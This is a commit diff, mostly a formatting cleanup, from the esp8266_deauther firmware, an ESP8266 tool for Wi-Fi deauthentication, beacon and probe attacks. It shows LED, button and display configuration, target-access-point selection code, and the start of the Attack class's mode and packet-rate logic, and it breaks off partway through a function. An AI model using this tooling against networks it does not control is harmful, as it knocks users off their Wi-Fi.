mirror of
https://github.com/SpacehuhnTech/esp8266_deauther.git
synced 2025-12-21 23:01:00 -08:00
Beautified stuff
This commit is contained in:
@@ -11,14 +11,15 @@
|
|||||||
// =========================== //
|
// =========================== //
|
||||||
|
|
||||||
// ===================== LED CONFIG ==================== //
|
// ===================== LED CONFIG ==================== //
|
||||||
|
|
||||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||||
Uncomment the type of LED you're using
|
Uncomment the type of LED you're using
|
||||||
Only one of them can be defined at a time!
|
Only one of them can be defined at a time!
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
#define DIGITAL_LED
|
#define DIGITAL_LED
|
||||||
// #define RGB_LED
|
//#define RGB_LED
|
||||||
// #define NEOPIXEL_LED
|
//#define NEOPIXEL_LED
|
||||||
|
|
||||||
|
#define HIGHLIGHT_LED 16
|
||||||
|
|
||||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||||
Adjust following settings for your type of LED
|
Adjust following settings for your type of LED
|
||||||
@@ -26,21 +27,22 @@
|
|||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
|
|
||||||
// === Settings for Digital LED and RGB LED === //
|
// === Settings for Digital LED and RGB LED === //
|
||||||
#define LED_ANODE false // common vcc (+)
|
#define LED_ANODE false // common vcc (+)
|
||||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||||
#define LED_PIN_G 255 // 255 = LED disabled
|
#define LED_PIN_G 255 // 255 = LED disabled
|
||||||
#define LED_PIN_B 2 // ESP-12 LED
|
#define LED_PIN_B 2 // ESP-12 LED
|
||||||
|
|
||||||
// === Settings for RGB LED and Neopixel LED === //
|
// === Settings for RGB LED and Neopixel LED === //
|
||||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||||
|
|
||||||
// === Settings for Neopixel LED === //
|
// === Settings for Neopixel LED === //
|
||||||
#define LED_NEOPIXEL_NUM 1
|
#define LED_NEOPIXEL_NUM 1
|
||||||
#define LED_NEOPIXEL_PIN 15
|
#define LED_NEOPIXEL_PIN 15
|
||||||
#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800
|
#define LED_NEOPIXEL_MODE NEO_GRBW + NEO_KHZ800
|
||||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||||
|
// NEO_GRBW Pixels are wired for GRBW bitstream
|
||||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||||
|
|
||||||
@@ -51,31 +53,33 @@
|
|||||||
Adjust the pins to match your setup
|
Adjust the pins to match your setup
|
||||||
Comment out the buttons you don't use.
|
Comment out the buttons you don't use.
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
#define BUTTON_UP 14
|
#define BUTTON_UP 12
|
||||||
#define BUTTON_DOWN 12
|
#define BUTTON_DOWN 13
|
||||||
#define BUTTON_A 13
|
#define BUTTON_A 14
|
||||||
|
|
||||||
// #define BUTTON_LEFT 12
|
//#define BUTTON_LEFT 12
|
||||||
// #define BUTTON_RIGHT 13
|
//#define BUTTON_RIGHT 13
|
||||||
// #define BUTTON_B 10
|
//#define BUTTON_B 10
|
||||||
|
|
||||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||||
Uncomment the type of display you're using
|
Uncomment the type of display you're using
|
||||||
Only one of them can be defined at a time!
|
Only one of them can be defined at a time!
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||||
*/
|
0x3c = I2C address
|
||||||
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
SDA = GPIO 5 (D1)
|
||||||
// #define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
SCL/SCK = GPIO 4 (D2) */
|
||||||
|
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||||
|
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||||
|
|
||||||
/* RST = GPIO 5 (D1)
|
/* RST = GPIO 5 (D1)
|
||||||
DC = GPIO 4 (D2)
|
DC = GPIO 4 (D2)
|
||||||
CS = GPIO 15 (D8) or GND
|
CS = GPIO 15 (D8) or GND
|
||||||
SCK/SCL = GPIO 14 (D5)
|
SCK/SCL = GPIO 14 (D5)
|
||||||
SDA/MOSI = GPIO 13 (D7) */
|
SDA/MOSI = GPIO 13 (D7) */
|
||||||
// #define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||||
// #define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
|
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
|
||||||
|
|
||||||
// #define FLIP_DIPLAY // uncomment that to flip the display vertically
|
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||||
// ========================================================= //
|
// ========================================================= //
|
||||||
|
|
||||||
#endif // ifndef config_h
|
#endif
|
||||||
|
|||||||
@@ -1,307 +1,311 @@
|
|||||||
#include "Accesspoints.h"
|
#include "Accesspoints.h"
|
||||||
|
|
||||||
Accesspoints::Accesspoints() {
|
Accesspoints::Accesspoints() {
|
||||||
list = new SimpleList<AP>;
|
list = new SimpleList<AP>;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::sort() {
|
void Accesspoints::sort() {
|
||||||
list->setCompare([](AP & a, AP & b) -> int {
|
list->setCompare([](AP& a, AP& b) -> int {
|
||||||
if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;
|
if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;
|
||||||
if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;
|
|
||||||
return 1;
|
if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;
|
||||||
});
|
|
||||||
list->sort();
|
return 1;
|
||||||
changed = true;
|
});
|
||||||
|
list->sort();
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::sortAfterChannel() {
|
void Accesspoints::sortAfterChannel() {
|
||||||
list->setCompare([](AP & a, AP & b) -> int {
|
list->setCompare([](AP& a, AP& b) -> int {
|
||||||
if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;
|
if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;
|
||||||
if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;
|
|
||||||
return 1;
|
if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;
|
||||||
});
|
|
||||||
list->sort();
|
return 1;
|
||||||
changed = true;
|
});
|
||||||
|
list->sort();
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::add(uint8_t id, bool selected) {
|
void Accesspoints::add(uint8_t id, bool selected) {
|
||||||
list->add(AP{ id, selected });
|
list->add(AP{ id, selected });
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::printAll() {
|
void Accesspoints::printAll() {
|
||||||
prntln(AP_HEADER);
|
prntln(AP_HEADER);
|
||||||
int c = count();
|
int c = count();
|
||||||
|
|
||||||
if (c == 0) prntln(AP_LIST_EMPTY);
|
if (c == 0) prntln(AP_LIST_EMPTY);
|
||||||
else
|
else
|
||||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::printSelected() {
|
void Accesspoints::printSelected() {
|
||||||
prntln(AP_HEADER);
|
prntln(AP_HEADER);
|
||||||
int max = selected();
|
int max = selected();
|
||||||
|
|
||||||
if (selected() == 0) {
|
if (selected() == 0) {
|
||||||
prntln(AP_NO_AP_SELECTED);
|
prntln(AP_NO_AP_SELECTED);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
int c = count();
|
int c = count();
|
||||||
int j = 0;
|
int j = 0;
|
||||||
|
|
||||||
for (int i = 0; i < c && j < max; i++) {
|
for (int i = 0; i < c && j < max; i++) {
|
||||||
if (getSelected(i)) {
|
if (getSelected(i)) {
|
||||||
print(i, j == 0, j == max - 1);
|
print(i, j == 0, j == max - 1);
|
||||||
j++;
|
j++;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::print(int num) {
|
void Accesspoints::print(int num) {
|
||||||
print(num, true, true);
|
print(num, true, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::print(int num, bool header, bool footer) {
|
void Accesspoints::print(int num, bool header, bool footer) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
|
|
||||||
if (header) {
|
if (header) {
|
||||||
prntln(AP_TABLE_HEADER);
|
prntln(AP_TABLE_HEADER);
|
||||||
prntln(AP_TABLE_DIVIDER);
|
prntln(AP_TABLE_DIVIDER);
|
||||||
}
|
}
|
||||||
prnt(leftRight(String(), (String)num, 2));
|
prnt(leftRight(String(), (String)num, 2));
|
||||||
prnt(leftRight(String(SPACE) + getSSID(num), String(), 33));
|
prnt(leftRight(String(SPACE) + getSSID(num), String(), 33));
|
||||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||||
prnt(leftRight(String(SPACE), (String)getRSSI(num), 5));
|
prnt(leftRight(String(SPACE), (String)getRSSI(num), 5));
|
||||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||||
|
|
||||||
if (footer) {
|
if (footer) {
|
||||||
prntln(AP_TABLE_DIVIDER);
|
prntln(AP_TABLE_DIVIDER);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
String Accesspoints::getSSID(int num) {
|
String Accesspoints::getSSID(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
|
|
||||||
if (getHidden(num)) {
|
if (getHidden(num)) {
|
||||||
return str(AP_HIDDEN);
|
return str(AP_HIDDEN);
|
||||||
} else {
|
} else {
|
||||||
String ssid = WiFi.SSID(getID(num));
|
String ssid = WiFi.SSID(getID(num));
|
||||||
ssid = ssid.substring(0, 32);
|
ssid = ssid.substring(0, 32);
|
||||||
ssid = fixUtf8(ssid);
|
ssid = fixUtf8(ssid);
|
||||||
return ssid;
|
return ssid;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
String Accesspoints::getNameStr(int num) {
|
String Accesspoints::getNameStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
|
|
||||||
return names.find(getMac(num));
|
return names.find(getMac(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t Accesspoints::getCh(int num) {
|
uint8_t Accesspoints::getCh(int num) {
|
||||||
if (!check(num)) return 0;
|
if (!check(num)) return 0;
|
||||||
|
|
||||||
return WiFi.channel(getID(num));
|
return WiFi.channel(getID(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
int Accesspoints::getRSSI(int num) {
|
int Accesspoints::getRSSI(int num) {
|
||||||
if (!check(num)) return 0;
|
if (!check(num)) return 0;
|
||||||
|
|
||||||
return WiFi.RSSI(getID(num));
|
return WiFi.RSSI(getID(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t Accesspoints::getEnc(int num) {
|
uint8_t Accesspoints::getEnc(int num) {
|
||||||
if (!check(num)) return 0;
|
if (!check(num)) return 0;
|
||||||
|
|
||||||
return WiFi.encryptionType(getID(num));
|
return WiFi.encryptionType(getID(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
String Accesspoints::getEncStr(int num) {
|
String Accesspoints::getEncStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
|
|
||||||
switch (getEnc(num)) {
|
switch (getEnc(num)) {
|
||||||
case ENC_TYPE_NONE:
|
case ENC_TYPE_NONE:
|
||||||
return String(DASH);
|
return String(DASH);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case ENC_TYPE_WEP:
|
case ENC_TYPE_WEP:
|
||||||
return str(AP_WEP);
|
return str(AP_WEP);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case ENC_TYPE_TKIP:
|
case ENC_TYPE_TKIP:
|
||||||
return str(AP_WPA);
|
return str(AP_WPA);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case ENC_TYPE_CCMP:
|
case ENC_TYPE_CCMP:
|
||||||
return str(AP_WPA2);
|
return str(AP_WPA2);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case ENC_TYPE_AUTO:
|
case ENC_TYPE_AUTO:
|
||||||
return str(AP_AUTO);
|
return str(AP_AUTO);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
return String(QUESTIONMARK);
|
return String(QUESTIONMARK);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Accesspoints::getSelectedStr(int num) {
|
String Accesspoints::getSelectedStr(int num) {
|
||||||
return b2a(getSelected(num));
|
return b2a(getSelected(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t* Accesspoints::getMac(int num) {
|
uint8_t* Accesspoints::getMac(int num) {
|
||||||
if (!check(num)) return 0;
|
if (!check(num)) return 0;
|
||||||
|
|
||||||
return WiFi.BSSID(getID(num));
|
return WiFi.BSSID(getID(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
String Accesspoints::getMacStr(int num) {
|
String Accesspoints::getMacStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
|
|
||||||
uint8_t* mac = getMac(num);
|
uint8_t* mac = getMac(num);
|
||||||
return bytesToStr(mac, 6);
|
return bytesToStr(mac, 6);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Accesspoints::getVendorStr(int num) {
|
String Accesspoints::getVendorStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
|
|
||||||
return searchVendor(getMac(num));
|
return searchVendor(getMac(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Accesspoints::getHidden(int num) {
|
bool Accesspoints::getHidden(int num) {
|
||||||
if (!check(num)) return false;
|
if (!check(num)) return false;
|
||||||
|
|
||||||
return WiFi.isHidden(getID(num));
|
return WiFi.isHidden(getID(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Accesspoints::getSelected(int num) {
|
bool Accesspoints::getSelected(int num) {
|
||||||
if (!check(num)) return false;
|
if (!check(num)) return false;
|
||||||
|
|
||||||
return list->get(num).selected;
|
return list->get(num).selected;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t Accesspoints::getID(int num) {
|
uint8_t Accesspoints::getID(int num) {
|
||||||
if (!check(num)) return -1;
|
if (!check(num)) return -1;
|
||||||
|
|
||||||
return list->get(num).id;
|
return list->get(num).id;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::select(int num) {
|
void Accesspoints::select(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
|
|
||||||
internal_select(num);
|
internal_select(num);
|
||||||
|
|
||||||
prnt(AP_SELECTED);
|
prnt(AP_SELECTED);
|
||||||
prntln(getSSID(num));
|
prntln(getSSID(num));
|
||||||
|
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::deselect(int num) {
|
void Accesspoints::deselect(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
|
|
||||||
internal_deselect(num);
|
internal_deselect(num);
|
||||||
|
|
||||||
prnt(AP_DESELECTED);
|
prnt(AP_DESELECTED);
|
||||||
prntln(getSSID(num));
|
prntln(getSSID(num));
|
||||||
|
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::remove(int num) {
|
void Accesspoints::remove(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
|
|
||||||
prnt(AP_REMOVED);
|
prnt(AP_REMOVED);
|
||||||
prntln(getSSID(num));
|
prntln(getSSID(num));
|
||||||
|
|
||||||
internal_remove(num);
|
internal_remove(num);
|
||||||
|
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::select(String ssid) {
|
void Accesspoints::select(String ssid) {
|
||||||
for(int i=0;i<list->size();i++){
|
for (int i = 0; i < list->size(); i++) {
|
||||||
if(getSSID(i).equalsIgnoreCase(ssid)) select(i);
|
if (getSSID(i).equalsIgnoreCase(ssid)) select(i);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::deselect(String ssid) {
|
void Accesspoints::deselect(String ssid) {
|
||||||
for(int i=0;i<list->size();i++){
|
for (int i = 0; i < list->size(); i++) {
|
||||||
if(getSSID(i).equalsIgnoreCase(ssid)) deselect(i);
|
if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::remove(String ssid) {
|
void Accesspoints::remove(String ssid) {
|
||||||
for(int i=0;i<list->size();i++){
|
for (int i = 0; i < list->size(); i++) {
|
||||||
if(getSSID(i).equalsIgnoreCase(ssid)) remove(i);
|
if (getSSID(i).equalsIgnoreCase(ssid)) remove(i);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::selectAll() {
|
void Accesspoints::selectAll() {
|
||||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
|
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
|
||||||
prntln(AP_SELECTED_ALL);
|
prntln(AP_SELECTED_ALL);
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::deselectAll() {
|
void Accesspoints::deselectAll() {
|
||||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
|
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
|
||||||
prntln(AP_DESELECTED_ALL);
|
prntln(AP_DESELECTED_ALL);
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::removeAll() {
|
void Accesspoints::removeAll() {
|
||||||
while (count() > 0) internal_remove(0);
|
while (count() > 0) internal_remove(0);
|
||||||
prntln(AP_REMOVED_ALL);
|
prntln(AP_REMOVED_ALL);
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
int Accesspoints::find(uint8_t id) {
|
int Accesspoints::find(uint8_t id) {
|
||||||
int s = list->size();
|
int s = list->size();
|
||||||
|
|
||||||
for (int i = 0; i < s; i++) {
|
for (int i = 0; i < s; i++) {
|
||||||
if (list->get(i).id == id) return i;
|
if (list->get(i).id == id) return i;
|
||||||
}
|
}
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
int Accesspoints::count() {
|
int Accesspoints::count() {
|
||||||
return list->size();
|
return list->size();
|
||||||
}
|
}
|
||||||
|
|
||||||
int Accesspoints::selected() {
|
int Accesspoints::selected() {
|
||||||
int c = 0;
|
int c = 0;
|
||||||
|
|
||||||
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
|
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
|
||||||
return c;
|
return c;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Accesspoints::check(int num) {
|
bool Accesspoints::check(int num) {
|
||||||
if (internal_check(num)) return true;
|
if (internal_check(num)) return true;
|
||||||
|
|
||||||
prnt(AP_NO_AP_ERROR);
|
prnt(AP_NO_AP_ERROR);
|
||||||
prntln((String)num);
|
prntln((String)num);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Accesspoints::internal_check(int num) {
|
bool Accesspoints::internal_check(int num) {
|
||||||
return num >= 0 && num < count();
|
return num >= 0 && num < count();
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::internal_select(int num) {
|
void Accesspoints::internal_select(int num) {
|
||||||
list->replace(num, AP{ list->get(num).id, true });
|
list->replace(num, AP{ list->get(num).id, true });
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::internal_deselect(int num) {
|
void Accesspoints::internal_deselect(int num) {
|
||||||
list->replace(num, AP{ list->get(num).id, false });
|
list->replace(num, AP{ list->get(num).id, false });
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::internal_remove(int num) {
|
void Accesspoints::internal_remove(int num) {
|
||||||
list->remove(num);
|
list->remove(num);
|
||||||
}
|
}
|
||||||
@@ -1,458 +1,458 @@
|
|||||||
#include "Attack.h"
|
#include "Attack.h"
|
||||||
|
|
||||||
Attack::Attack() {
|
Attack::Attack() {
|
||||||
getRandomMac(mac);
|
getRandomMac(mac);
|
||||||
|
|
||||||
if (settings.getBeaconInterval()) {
|
if (settings.getBeaconInterval()) {
|
||||||
// 1s beacon interval
|
// 1s beacon interval
|
||||||
beaconPacket[32] = 0xe8;
|
beaconPacket[32] = 0xe8;
|
||||||
beaconPacket[33] = 0x03;
|
beaconPacket[33] = 0x03;
|
||||||
} else {
|
} else {
|
||||||
// 100ms beacon interval
|
// 100ms beacon interval
|
||||||
beaconPacket[32] = 0x64;
|
beaconPacket[32] = 0x64;
|
||||||
beaconPacket[33] = 0x00;
|
beaconPacket[33] = 0x00;
|
||||||
}
|
}
|
||||||
|
|
||||||
deauth.time = currentTime;
|
deauth.time = currentTime;
|
||||||
beacon.time = currentTime;
|
beacon.time = currentTime;
|
||||||
probe.time = currentTime;
|
probe.time = currentTime;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::start() {
|
void Attack::start() {
|
||||||
stop();
|
stop();
|
||||||
prntln(A_START);
|
prntln(A_START);
|
||||||
attackTime = currentTime;
|
attackTime = currentTime;
|
||||||
attackStartTime = currentTime;
|
attackStartTime = currentTime;
|
||||||
accesspoints.sortAfterChannel();
|
accesspoints.sortAfterChannel();
|
||||||
stations.sortAfterChannel();
|
stations.sortAfterChannel();
|
||||||
running = true;
|
running = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
|
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
|
||||||
Attack::beacon.active = beacon;
|
Attack::beacon.active = beacon;
|
||||||
Attack::deauth.active = deauth || deauthAll;
|
Attack::deauth.active = deauth || deauthAll;
|
||||||
Attack::deauthAll = deauthAll;
|
Attack::deauthAll = deauthAll;
|
||||||
Attack::probe.active = probe;
|
Attack::probe.active = probe;
|
||||||
|
|
||||||
Attack::output = output;
|
Attack::output = output;
|
||||||
Attack::timeout = timeout;
|
Attack::timeout = timeout;
|
||||||
|
|
||||||
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
|
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
|
||||||
// scan.countSelected() > 0)){
|
// scan.countSelected() > 0)){
|
||||||
if (beacon || probe || deauthAll || deauth) {
|
if (beacon || probe || deauthAll || deauth) {
|
||||||
start();
|
start();
|
||||||
} else {
|
} else {
|
||||||
prntln(A_NO_MODE_ERROR);
|
prntln(A_NO_MODE_ERROR);
|
||||||
accesspoints.sort();
|
accesspoints.sort();
|
||||||
stations.sort();
|
stations.sort();
|
||||||
stop();
|
stop();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::stop() {
|
void Attack::stop() {
|
||||||
if (running) {
|
if (running) {
|
||||||
running = false;
|
running = false;
|
||||||
deauthPkts = 0;
|
deauthPkts = 0;
|
||||||
beaconPkts = 0;
|
beaconPkts = 0;
|
||||||
probePkts = 0;
|
probePkts = 0;
|
||||||
deauth.packetCounter = 0;
|
deauth.packetCounter = 0;
|
||||||
beacon.packetCounter = 0;
|
beacon.packetCounter = 0;
|
||||||
probe.packetCounter = 0;
|
probe.packetCounter = 0;
|
||||||
deauth.maxPkts = 0;
|
deauth.maxPkts = 0;
|
||||||
beacon.maxPkts = 0;
|
beacon.maxPkts = 0;
|
||||||
probe.maxPkts = 0;
|
probe.maxPkts = 0;
|
||||||
packetRate = 0;
|
packetRate = 0;
|
||||||
deauth.tc = 0;
|
deauth.tc = 0;
|
||||||
beacon.tc = 0;
|
beacon.tc = 0;
|
||||||
probe.tc = 0;
|
probe.tc = 0;
|
||||||
prntln(A_STOP);
|
prntln(A_STOP);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::isRunning() {
|
bool Attack::isRunning() {
|
||||||
return running;
|
return running;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::updateCounter() {
|
void Attack::updateCounter() {
|
||||||
// stop when timeout is active and time is up
|
// stop when timeout is active and time is up
|
||||||
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
|
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
|
||||||
prntln(A_TIMEOUT);
|
prntln(A_TIMEOUT);
|
||||||
stop();
|
stop();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// deauth packets per second
|
// deauth packets per second
|
||||||
if (deauth.active) {
|
if (deauth.active) {
|
||||||
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() *
|
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||||
(accesspoints.count() + stations.count() * 2 - names.selected());
|
(accesspoints.count() + stations.count() * 2 - names.selected());
|
||||||
else deauth.maxPkts = settings.getDeauthsPerTarget() *
|
else deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||||
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
|
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
|
||||||
} else {
|
} else {
|
||||||
deauth.maxPkts = 0;
|
deauth.maxPkts = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// beacon packets per second
|
// beacon packets per second
|
||||||
if (beacon.active) {
|
if (beacon.active) {
|
||||||
beacon.maxPkts = ssids.count();
|
beacon.maxPkts = ssids.count();
|
||||||
|
|
||||||
if (!settings.getBeaconInterval()) beacon.maxPkts *= 10;
|
if (!settings.getBeaconInterval()) beacon.maxPkts *= 10;
|
||||||
} else {
|
} else {
|
||||||
beacon.maxPkts = 0;
|
beacon.maxPkts = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// probe packets per second
|
// probe packets per second
|
||||||
if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID();
|
if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID();
|
||||||
else probe.maxPkts = 0;
|
else probe.maxPkts = 0;
|
||||||
|
|
||||||
// random transmission power
|
// random transmission power
|
||||||
if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21));
|
if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21));
|
||||||
else setOutputPower(20.5f);
|
else setOutputPower(20.5f);
|
||||||
|
|
||||||
// reset counters
|
// reset counters
|
||||||
